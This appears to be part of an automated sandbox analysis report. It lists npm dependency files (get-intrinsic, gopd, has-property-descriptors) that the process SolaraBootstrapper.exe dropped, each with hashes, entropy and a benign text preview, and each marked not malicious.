C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\get-intrinsic\.nycrc

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	139
Entropy (8bit):	4.461548676043605
Encrypted:	false
SSDEEP:	3:uFx3jG9UDHfa7aBA9c4RIeeFHqpvc9PNUaUifEIkHJ03WhBK:Kw9OfyFdRaB9LUiMIOJHhBK
MD5:	D0104F79F0B4F03BBCD3B287FA04CF8C
SHA1:	54F9D7ADF8943CB07F821435BB269EB4BA40CCC2
SHA-256:	997785C50B0773E5E18BF15550FBF57823C634FEFE623CD37B3C83696402AD0A
SHA-512:	DAF9B5445CFC02397F398ADFA0258F2489B70699DFEC6CA7E5B85AFE5671FDCABE59EDEE332F718F5E5778FEB1E301778DFFE93BB28C1C0914F669659BAD39C6
Malicious:	false
Preview:	{.."all": true,.."check-coverage": false,.."reporter": ["text-summary", "text", "html", "json"],.."exclude": [..."coverage",..."test"..].}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\get-intrinsic\CHANGELOG.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	11640
Entropy (8bit):	5.310659923997118
Encrypted:	false
SSDEEP:	192:EgITPRuHtbXe5Dv0IHfKuWDY5KXp9L72d:EngH1O5b0Ufs159Wd
MD5:	92681891DF0037DC97EC7266C832B879
SHA1:	AF20E1513FE522C4FCBA142C8B680B1E2B6EC818
SHA-256:	3F2ACA786DDB5189B3748C4B217CB1FEDDD1F1B1AC40009C01E36E78B15E3598
SHA-512:	744D634AD2BF20A5C95690C3A3696C417F685704D7BFE5340C3767632F7A14B88023151796748D7261828B80CC9815F93111F49066892012403B624CC5FC18EA
Malicious:	false
Preview:	# Changelog..All notable changes to this project will be documented in this file...The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html)...## [v1.2.4](https://github.com/ljharb/get-intrinsic/compare/v1.2.3...v1.2.4) - 2024-02-05..### Commits..- [Refactor] use all 7 <+ ES6 Errors from `es-errors` [`bcac811`](https://github.com/ljharb/get-intrinsic/commit/bcac811abdc1c982e12abf848a410d6aae148d14)..## [v1.2.3](https://github.com/ljharb/get-intrinsic/compare/v1.2.2...v1.2.3) - 2024-02-03..### Commits..- [Refactor] use `es-errors`, so things that only need those do not need `get-intrinsic` [`f11db9c`](https://github.com/ljharb/get-intrinsic/commit/f11db9c4fb97d87bbd53d3c73ac6b3db3613ad3b).- [Dev Deps] update `aud`, `es-abstract`, `mock-property`, `npmignore` [`b7ac7d1`](https://github.com/ljharb/get-intrinsic/commit/b7ac7d1616fefb03877b1aed0c8f8d61aad32b6c).- [meta] simplify `

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\get-intrinsic\LICENSE

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1071
Entropy (8bit):	5.099362344791979
Encrypted:	false
SSDEEP:	24:tPsrmJHHH0yN3gtsHw1hC09QHOsUv4eOk4/+/m3oqLFh:VsaJHlxE3dQHOs5exm3ogFh
MD5:	0EB2C73DAA0ECF037CBDF3D0BB0C98D5
SHA1:	7087A92577C86806338A363A88A9A3B4F762E26D
SHA-256:	39C5EC504CF6BD5CD782A7C695828E09189DF79F5D94840E4F08FEB97B9FD416
SHA-512:	12A2A3BF2ABAFA5E3F669278EE332C87E4A164CFE54EF6019CA8B5F3D41F38F10224D52F471D0256AAD6600DEC9FB3A1EDF3C84F38CC9F1CFD4EB9A2AF8A0066
Malicious:	false
Preview:	MIT License..Copyright (c) 2020 Jordan Harband..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,.OUT OF OR IN CONN

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\get-intrinsic\README.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2791
Entropy (8bit):	5.1300644620154205
Encrypted:	false
SSDEEP:	48:r1eI4IFO2sfq6M6bvPLGqIEqixViPVGH3Ie+RwxIL0I9IPv:RXFbOvjI2XIPLxqX
MD5:	42F69E4537122E0DD7C9D963A5C0D6BE
SHA1:	1D3D1DA1074299E58E264904B12BB07318C856BC
SHA-256:	15F5365E3E1D4182780423363296E53408FF4254DC958A6E52A05A7DCEE324B4
SHA-512:	80A2B8309960E2CDE280A3A06F95CF1EB0709F2E317AF37EB1AF41A717F9619DB5C3EAC15482A3FEC2DC93E114C3C3C8799AD16D016D689F8077E8DCF1F5A480
Malicious:	false
Preview:	# get-intrinsic <sup>[![Version Badge][npm-version-svg]][package-url]</sup>..[![github actions][actions-image]][actions-url].[![coverage][codecov-image]][codecov-url].[![dependency status][deps-svg]][deps-url].[![dev dependency status][dev-deps-svg]][dev-deps-url].[![License][license-image]][license-url].[![Downloads][downloads-image]][downloads-url]..[![npm badge][npm-badge-png]][package-url]..Get and robustly cache all JS language-level intrinsics at first require time...See the syntax described [in the JS spec](https://tc39.es/ecma262/#sec-well-known-intrinsic-objects) for reference...## Example..```js.var GetIntrinsic = require('get-intrinsic');.var assert = require('assert');..// static methods.assert.equal(GetIntrinsic('%Math.pow%'), Math.pow);.assert.equal(Math.pow(2, 3), 8);.assert.equal(GetIntrinsic('%Math.pow%')(2, 3), 8);.delete Math.pow;.assert.equal(GetIntrinsic('%Math.pow%')(2, 3), 8);..// instance methods.var arr = [1];.assert.equal(GetIntrinsic('%Array.prototype.push%')

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\get-intrinsic\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	13615
Entropy (8bit):	5.299667489870541
Encrypted:	false
SSDEEP:	192:1TAxS8+GNVcJHPjETpPuanx+Hyhs1CGZiNZaVlvsoDJOgZMvOwpcdWvyo/fAlrHK:z8+AgWBKdhmEzVlcv/
MD5:	7FD37B7099EB69F0FC8EE86A47F69E16
SHA1:	3E22F15B73CAE1EB4E6F72224190AEB09F784866
SHA-256:	5D72DDB504858C1109FA106FFA9BE744EA99E75F9255F9FF28851562C5EB7031
SHA-512:	42F4CE801DC5C7ED0BC0F1D9559F2706DECE6160999A8D48FDFC77467D986871FC8601B0AE0E3F2C5BC63402F866F441556100805EE7F3FDDEF5BA67DA68A231
Malicious:	false
Preview:	'use strict';..var undefined;..var $Error = require('es-errors');.var $EvalError = require('es-errors/eval');.var $RangeError = require('es-errors/range');.var $ReferenceError = require('es-errors/ref');.var $SyntaxError = require('es-errors/syntax');.var $TypeError = require('es-errors/type');.var $URIError = require('es-errors/uri');..var $Function = Function;..// eslint-disable-next-line consistent-return.var getEvalledConstructor = function (expressionSyntax) {..try {...return $Function('"use strict"; return (' + expressionSyntax + ').constructor;')();..} catch (e) {}.};..var $gOPD = Object.getOwnPropertyDescriptor;.if ($gOPD) {..try {...$gOPD({}, '');..} catch (e) {...$gOPD = null; // this is IE 8, which has a broken gOPD..}.}..var throwTypeError = function () {..throw new $TypeError();.};.var ThrowTypeError = $gOPD..? (function () {...try {....// eslint-disable-next-line no-unused-expressions, no-caller, no-restricted-properties....arguments.callee; // IE 8 does not throw here...

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\get-intrinsic\package.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2414
Entropy (8bit):	5.10585146540838
Encrypted:	false
SSDEEP:	48:oehqPRYCZUPagS4j09yRYsEg47TOsqTWMU1yO1F3fSoAOKjHK8CL:osCS4337TOfTEYO33f4OKjH8
MD5:	322602876E4A7E2716019566CA203F85
SHA1:	13C1C48939DE200BD2C5FA41A90FB9C0588A2EAB
SHA-256:	A8BF389C3F2229E681F007B25AA8FA6BF3641E00DDDA1E101AF4F9E98A9F6199
SHA-512:	85406165CACC77786C1A2CE86AB0BA16F5FAF976C1EB362588CB44DC5CE39E2CACB736DF911DAAAA09CB2BEE96E9A7C2E2651245CCD1516F34E0BA44159421E6
Malicious:	false
Preview:	{.."name": "get-intrinsic",.."version": "1.2.4",.."description": "Get and robustly cache all JS language-level intrinsics at first require time",.."main": "index.js",.."exports": {...".": "./index.js",..."./package.json": "./package.json"..},.."sideEffects": false,.."scripts": {..."prepack": "npmignore --auto --commentLines=autogenerated",..."prepublish": "not-in-publish \|\| npm run prepublishOnly",..."prepublishOnly": "safe-publish-latest",..."prelint": "evalmd README.md",..."lint": "eslint --ext=.js,.mjs .",..."pretest": "npm run lint",..."tests-only": "nyc tape 'test/*/.js'",..."test": "npm run tests-only",..."posttest": "aud --production",..."version": "auto-changelog && git add CHANGELOG.md",..."postversion": "auto-changelog && git add CHANGELOG.md && git commit --no-edit --amend && git tag -f \"v$(node -e \"console.log(require('./package.json').version)\")\""..},.."repository": {..."type": "git",..."url": "git+https://github.com/ljharb/get-intrinsic.git"..},.."keywords": [..."ja

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\get-intrinsic\test\GetIntrinsic.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8767
Entropy (8bit):	5.080749188856504
Encrypted:	false
SSDEEP:	192:alPbhVR7/RP/6OPIqyuOoOV8rSlYXLGzdxD:4P/6OgqvjY
MD5:	45EB9D6FC0AA0ABCFAA920EDC317C0E1
SHA1:	7CBB3C83811754D8564EDB3B4EC57509736A3572
SHA-256:	2A2150EAEC22AF67C385BCA31D08FE7D604E9C3EBFC4C2BCDCD6D243E6BA9370
SHA-512:	6B47215BC891A5A55B11FE4ED18E16330044130385858DF3C847AA6EDB8FB7FBD31FB16F9D1DBA97ED4CA3D6DC5BA884F0716667F20E577A73ED3C89693FC960
Malicious:	false
Preview:	'use strict';..var GetIntrinsic = require('../');..var test = require('tape');.var forEach = require('for-each');.var debug = require('object-inspect');.var generatorFns = require('make-generator-function')();.var asyncFns = require('make-async-function').list();.var asyncGenFns = require('make-async-generator-function')();.var mockProperty = require('mock-property');..var callBound = require('call-bind/callBound');.var v = require('es-value-fixtures');.var $gOPD = require('gopd');.var DefinePropertyOrThrow = require('es-abstract/2021/DefinePropertyOrThrow');..var $isProto = callBound('%Object.prototype.isPrototypeOf%');..test('export', function (t) {..t.equal(typeof GetIntrinsic, 'function', 'it is a function');..t.equal(GetIntrinsic.length, 2, 'function has length of 2');...t.end();.});..test('throws', function (t) {..t['throws'](...function () { GetIntrinsic('not an intrinsic'); },...SyntaxError,...'nonexistent intrinsic throws a syntax error'..);...t['throws'](...function () { GetI

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\gopd\.eslintrc

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	224
Entropy (8bit):	4.746913910657882
Encrypted:	false
SSDEEP:	3:EK8RL0x+Hf5NeVHDQL+6pZjJNHeOL+/FpHIcR7GTIGDJVHLL8/EzlvwR/6G+sNqc:ExL0UxNSHadXnL2pkzVtLL8alJbupsg3
MD5:	AF5725E1E58526F93F37C687FE2D433E
SHA1:	9CA2A66D62BD687C3D18C51217BFE37280256EC1
SHA-256:	F441CE02CF8246250BE17C235FC77A2F674A6E538847C3C8B0639377EFB253E8
SHA-512:	AC2C141B3D9217C6470DBA504746EE65C38D265E22A0550D82F9677CAAD19A29A4B73A801F11C4CFA5C981E8C82B936F8525176226B22E6421D7515A7AA85071
Malicious:	false
Preview:	{.."root": true,..."extends": "@ljharb",..."rules": {..."func-style": [2, "declaration"],..."id-length": 0,..."multiline-comment-style": 0,..."new-cap": [2, {...."capIsNewExceptions": [....."GetIntrinsic",....],...}],..},.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\gopd\.github\FUNDING.yml

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	575
Entropy (8bit):	4.69908389967272
Encrypted:	false
SSDEEP:	12:OjjcfQWARgMqJugMJPH0FggM40lgM01bZBgMoGbQjgMy9gMLz4MI:qoQWAg0g+H0mgN0lg7g1GegJ9gEz4D
MD5:	4B9E776D4FFEB21D1FB58AC86E4F6B46
SHA1:	D4C6E2017B8DC882802F56BE442ABC18E9D0F984
SHA-256:	14A29231A020201285CEC832F4D4C90B7296BC45F9117E3F2A28C5E51A430CAE
SHA-512:	08A003C4D1EB83895C2971A79FEE09EE5D2A37CD0AA48FAB23DA6C254EB4F0DF02122B93693EF723CDE0608CE501342F9FF8C1158BCE99AFBAA25209665C9001
Malicious:	false
Preview:	# These are supported funding model platforms..github: [ljharb].patreon: # Replace with a single Patreon username.open_collective: # Replace with a single Open Collective username.ko_fi: # Replace with a single Ko-fi username.tidelift: npm/gopd.community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry.liberapay: # Replace with a single Liberapay username.issuehunt: # Replace with a single IssueHunt username.otechie: # Replace with a single Otechie username.custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2'].

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\gopd\CHANGELOG.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1541
Entropy (8bit):	5.321658294372765
Encrypted:	false
SSDEEP:	24:EIKpjXWTIpphfdk/alyefGICTYX7wwcHEPsoXdfPDcqCNl95E7hq:E5yEpZ72iojqfA71
MD5:	4064EDED5329E868D21E4F024477FB53
SHA1:	D1B7E22BDB8D8C73F7BB1870C8BA48A5DED5DDEA
SHA-256:	78E99FF5F94FC0EEEAAE349B4392B432D7AF11ACB62A9F965A970F37465C93A8
SHA-512:	6E643713A9E2259B6C66C13DD032D72A1C2314B28E62696B543FEA7F60071C504CD9C17ACAB2124EE511D596BAE59E6A82530E5FD7262B56BE3564222E12F89F
Malicious:	false
Preview:	# Changelog..All notable changes to this project will be documented in this file...The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html)...## [v1.0.1](https://github.com/ljharb/gopd/compare/v1.0.0...v1.0.1) - 2022-11-01..### Commits..- [Fix] actually export gOPD instead of dP [`4b624bf`](https://github.com/ljharb/gopd/commit/4b624bfbeff788c5e3ff16d9443a83627847234f)..## v1.0.0 - 2022-11-01..### Commits..- Initial implementation, tests, readme [`0911e01`](https://github.com/ljharb/gopd/commit/0911e012cd642092bd88b732c161c58bf4f20bea).- Initial commit [`b84e33f`](https://github.com/ljharb/gopd/commit/b84e33f5808a805ac57ff88d4247ad935569acbe).- [actions] add reusable workflows [`12ae28a`](https://github.com/ljharb/gopd/commit/12ae28ae5f50f86e750215b6e2188901646d0119).- npm init [`280118b`](https://github.com/ljharb/gopd/commit/280118badb45c80b4483836b5cb5315bddf6e582).- [meta]

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\gopd\LICENSE

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1071
Entropy (8bit):	5.09865750118585
Encrypted:	false
SSDEEP:	24:vPsrmJHHH0yN3gtsHw1hC09QHOsUv4eOk4/+/m3oqLFh:3saJHlxE3dQHOs5exm3ogFh
MD5:	8478C87D16770F6D32A4578C475D3930
SHA1:	B79B2B51CBE42EC655277435B863EF9BA840840D
SHA-256:	D90BF0A089DA4CF43D644ED240A0B3825DCDB705E64E38371D56995A4CC9E4C5
SHA-512:	CD259994F307A9DAD872ED222A7D03649EC453C3C75ACC8EB180BE9B62F84D1830CEF53EF57B22F030A0A95A0CB77C5CA32BC6099A74E5D18E6EDFB7C6C84B07
Malicious:	false
Preview:	MIT License..Copyright (c) 2022 Jordan Harband..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,.OUT OF OR IN CONN

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\gopd\README.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1562
Entropy (8bit):	5.0755714224286335
Encrypted:	false
SSDEEP:	48:Us1eI4I7qu29BtJmpzmXpmumM6NIL0IbIJv:xXFerLxsh
MD5:	B7828C6A2AAEB53E9BD62E7A166D4057
SHA1:	4E879D6C22E3B544119ACE482CC212D9DAC24075
SHA-256:	A5ADDA11EB1B5C4A225289CCC2E1F01BDC27E1635B85039AD327EC37082AD3D4
SHA-512:	BDEF4055F74D4AF6337EED4D23C1764F97544AD21616E40D2750AF64A73EE00FEB781BC9C82B132C3D518BF870C4021C1769F4F16347C8DB66D12485984350B2
Malicious:	false
Preview:	# gopd <sup>[![Version Badge][npm-version-svg]][package-url]</sup>..[![github actions][actions-image]][actions-url].[![coverage][codecov-image]][codecov-url].[![License][license-image]][license-url].[![Downloads][downloads-image]][downloads-url]..[![npm badge][npm-badge-png]][package-url]..`Object.getOwnPropertyDescriptor`, but accounts for IE's broken implementation...## Usage..```javascript.var gOPD = require('gopd');.var assert = require('assert');..if (gOPD) {..assert.equal(typeof gOPD, 'function', 'descriptors supported');..// use gOPD like Object.getOwnPropertyDescriptor here.} else {..assert.ok(!gOPD, 'descriptors not supported');.}.```..[package-url]: https://npmjs.org/package/gopd.[npm-version-svg]: https://versionbadg.es/ljharb/gopd.svg.[deps-svg]: https://david-dm.org/ljharb/gopd.svg.[deps-url]: https://david-dm.org/ljharb/gopd.[dev-deps-svg]: https://david-dm.org/ljharb/gopd/dev-status.svg.[dev-deps-url]: https://david-dm.org/ljharb/gopd#info=devDependencies.[npm-badge-png]

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\gopd\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	263
Entropy (8bit):	5.064926684744617
Encrypted:	false
SSDEEP:	6:QmRQgNMmlCOqRs0r9xNp8j4M8pCL9y1OKCqxb3IYBSp:9RQt0CRLP41y1Fb3DBW
MD5:	9D619A4BC9CBF4F8F3A9F735F88ACCE2
SHA1:	5592E1ECB644F9C2BBE2C51F5EBFA3D95B76BEEF
SHA-256:	1D34BF8FD50315AD79BF71163475B928721295361A3D2DAE52D988B9EA4FD09A
SHA-512:	B98A3F32A0F2197F27D2B3EF65F40E5CB1ED54E06F617C54419B4B49FCA691DAA844B29204928AA544D94F78A5C69CC90ED63A04AB4A10C4829DD7AC067CF1E7
Malicious:	false
Preview:	'use strict';..var GetIntrinsic = require('get-intrinsic');..var $gOPD = GetIntrinsic('%Object.getOwnPropertyDescriptor%', true);..if ($gOPD) {..try {...$gOPD([], 'length');..} catch (e) {...// IE 8 has a broken gOPD...$gOPD = null;..}.}..module.exports = $gOPD;.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\gopd\package.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1877
Entropy (8bit):	5.137804769758442
Encrypted:	false
SSDEEP:	24:H1ohEWhXRYCQwdDC9YHM4FSyF1agI8c2sfAk21x60RZ1x6/Qy7s7XQJi4n9Jp5YS:VuXRYCZU547ag/fyORYsEg49KsNSowg
MD5:	DECFDB3EE3A3A8AC4460E083201FF8B2
SHA1:	C243EFD2585DB26B0A7C6C6B399BE0DB9E5CD7E1
SHA-256:	493A85E0F38390E60D37100347AEE54546895501B20189F7EDEAF3FBBEBF0B35
SHA-512:	A32F0A14FFA32C205970333645A24FD353E42A965572A70826A45D1CE145A0D41DDDC1C9100DA8DD798AC5F785385E6D0F4C5E9E82F87C10DF4E63AD8C342A44
Malicious:	false
Preview:	{.."name": "gopd",.."version": "1.0.1",.."description": "`Object.getOwnPropertyDescriptor`, but accounts for IE's broken implementation.",.."main": "index.js",.."exports": {...".": "./index.js",..."./package.json": "./package.json"..},.."sideEffects": false,.."scripts": {..."prepack": "npmignore --auto --commentLines=autogenerated",..."prepublishOnly": "safe-publish-latest",..."prepublish": "not-in-publish \|\| npm run prepublishOnly",..."lint": "eslint --ext=js,mjs .",..."postlint": "evalmd README.md",..."pretest": "npm run lint",..."tests-only": "tape 'test/*/.js'",..."test": "npm run tests-only",..."posttest": "aud --production",..."version": "auto-changelog && git add CHANGELOG.md",..."postversion": "auto-changelog && git add CHANGELOG.md && git commit --no-edit --amend && git tag -f \"v$(node -e \"console.log(require('./package.json').version)\")\""..},.."repository": {..."type": "git",..."url": "git+https://github.com/ljharb/gopd.git"..},.."keywords": [..."ecmascript",..."javascr

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\gopd\test\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	590
Entropy (8bit):	4.896123540064039
Encrypted:	false
SSDEEP:	6:QcALX5reM2oa1QkksGKdaqXsfvvNhaL4YeqCaQPlFQEhstTewFR5S2X9R5a14eXO:jSXjpqev3M7FnZnWTg9mkg1sPGIOLW
MD5:	2F21A47D1AEC7859A16C9F9143DDF71C
SHA1:	38AFFD0A6D7B23D1C4D7ACF7DF73338B7FA7F66C
SHA-256:	2FCD53FBC59F2998519995F4425A9F1CC2B1A3657B30896A5D0DFCC00D02BD80
SHA-512:	2DE6286741C151B4D0B980A5D84076D77DD147187CDB6440223A76232B9789710D2E13B508386FC0590C8356326CEE407FA524173B0BFAAD634F199FCBE4B5F5
Malicious:	false
Preview:	'use strict';..var test = require('tape');.var gOPD = require('../');..test('gOPD', function (t) {..t.test('supported', { skip: !gOPD }, function (st) {...st.equal(typeof gOPD, 'function', 'is a function');....var obj = { x: 1 };...st.ok('x' in obj, 'property exists');....var desc = gOPD(obj, 'x');...st.deepEqual(....desc,....{.....configurable: true,.....enumerable: true,.....value: 1,.....writable: true....},....'descriptor is as expected'...);....st.end();..});...t.test('not supported', { skip: gOPD }, function (st) {...st.notOk(gOPD, 'is falsy');....st.end();..});...t.end();.});.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\has-property-descriptors\.eslintrc

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	173
Entropy (8bit):	4.796475828044818
Encrypted:	false
SSDEEP:	3:EK8RL0x+Hf5NeVHDQLjXiVHM+OL+/FpHLL8/EzlvwR/6Csl6LrNTsvv:ExL0UxNSHQytEL2pLL8alJCslur23
MD5:	40BB4227BE5F1A2E10D29B56FC9F4564
SHA1:	8EBD3827D942EBE47BDE38D41D8CDEA43D4EA620
SHA-256:	3C44806873D9CEBEA2128BDB0ED0A00BD82BEC5B1DEBEA514BC54670D9F4859D
SHA-512:	6E2F599E5D59C7F61695B495DB5D4B9B72C967DC2923962C6B0F29FBD5A4C615211AA61B8EAA6E3739E2C18CE310298C9EB4EF788A1E1443AF13C4FA8E19FFFD
Malicious:	false
Preview:	{.."root": true,..."extends": "@ljharb",..."rules": {..."func-name-matching": 0,..."id-length": 0,..."new-cap": [2, {...."capIsNewExceptions": ["GetIntrinsic"],...}],..},.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\has-property-descriptors\.github\FUNDING.yml

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	595
Entropy (8bit):	4.702186429158408
Encrypted:	false
SSDEEP:	12:OjjcfQWARgMqJugMJPH0FggMGPllgM01bZBgMoGbQjgMy9gMLz4MI:qoQWAg0g+H0mg5lg7g1GegJ9gEz4D
MD5:	F3C02F6B204438228C428225140C5FC7
SHA1:	046F43546078DA343B5F33026295643365CDCAB9
SHA-256:	AAC113D18C37526F0D5D92F28D9BE805D85037520E9D4B822A20CFE71D9ACD40
SHA-512:	DE98A476CD43E7DCA0E84703A2BDD4831F7F45CB27432794F8DCC560B8EF6DC2967328C48A83B00A2FFB7C9552747BD669C1208ED5AC3BA3CD71E4A1A201C453
Malicious:	false
Preview:	# These are supported funding model platforms..github: [ljharb].patreon: # Replace with a single Patreon username.open_collective: # Replace with a single Open Collective username.ko_fi: # Replace with a single Ko-fi username.tidelift: npm/has-property-descriptors.community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry.liberapay: # Replace with a single Liberapay username.issuehunt: # Replace with a single IssueHunt username.otechie: # Replace with a single Otechie username.custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2'].

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\has-property-descriptors\.nycrc

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	139
Entropy (8bit):	4.461548676043605
Encrypted:	false
SSDEEP:	3:uFx3jG9UDHfa7aBA9c4RIeeFHqpvc9PNUaUifEIkHJ03WhBK:Kw9OfyFdRaB9LUiMIOJHhBK
MD5:	D0104F79F0B4F03BBCD3B287FA04CF8C
SHA1:	54F9D7ADF8943CB07F821435BB269EB4BA40CCC2
SHA-256:	997785C50B0773E5E18BF15550FBF57823C634FEFE623CD37B3C83696402AD0A
SHA-512:	DAF9B5445CFC02397F398ADFA0258F2489B70699DFEC6CA7E5B85AFE5671FDCABE59EDEE332F718F5E5778FEB1E301778DFFE93BB28C1C0914F669659BAD39C6
Malicious:	false
Preview:	{.."all": true,.."check-coverage": false,.."reporter": ["text-summary", "text", "html", "json"],.."exclude": [..."coverage",..."test"..].}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\has-property-descriptors\CHANGELOG.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2648
Entropy (8bit):	5.216984831640945
Encrypted:	false
SSDEEP:	48:E5yEp+nE191N4uadYuyKsdReBtwl3SJ9pR/CTh:E5yEME17naZVsl3M9pR/eh
MD5:	DFEAA41492DD9056087D1A2D60167499
SHA1:	232017BB97B31DB28E230E4CBAD7AED30E77F1A7
SHA-256:	0FE548702D98DAC2C17E3049B83EBB62953EF585EF88619F24EF71952688CC9D
SHA-512:	3F3C6989530C087D3888E58F25DE26567CB8321F218F301C36C2D0F05C2072D4A5E6850AA1304115CA3CEE47BA67DFA2D44233CA8F2CC404F4F9431366690E8D
Malicious:	false
Preview:	# Changelog..All notable changes to this project will be documented in this file...The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html)...## [v1.0.2](https://github.com/inspect-js/has-property-descriptors/compare/v1.0.1...v1.0.2) - 2024-02-12..### Commits..- [Refactor] use `es-define-property` [`f93a8c8`](https://github.com/inspect-js/has-property-descriptors/commit/f93a8c85eba70cbceab500f2619fb5cce73a1805).- [Dev Deps] update `aud`, `npmignore`, `tape` [`42b0c9d`](https://github.com/inspect-js/has-property-descriptors/commit/42b0c9d1c23e747755f0f2924923c418ea34a9ee).- [Deps] update `get-intrinsic` [`35e9b46`](https://github.com/inspect-js/has-property-descriptors/commit/35e9b46a7f14331bf0de98b644dd803676746037)..## [v1.0.1](https://github.com/inspect-js/has-property-descriptors/compare/v1.0.0...v1.0.1) - 2023-10-20..### Commits..- [meta] use `npmignore` to autogenerate an

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\has-property-descriptors\LICENSE

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1067
Entropy (8bit):	5.095025073213139
Encrypted:	false
SSDEEP:	24:/rmJHHH0yN3gtsHw1hC09QHOsUv4eOk4/+/m3oqLFh:/aJHlxE3dQHOs5exm3ogFh
MD5:	D237EAC07663BDE2409DE740BA75EC97
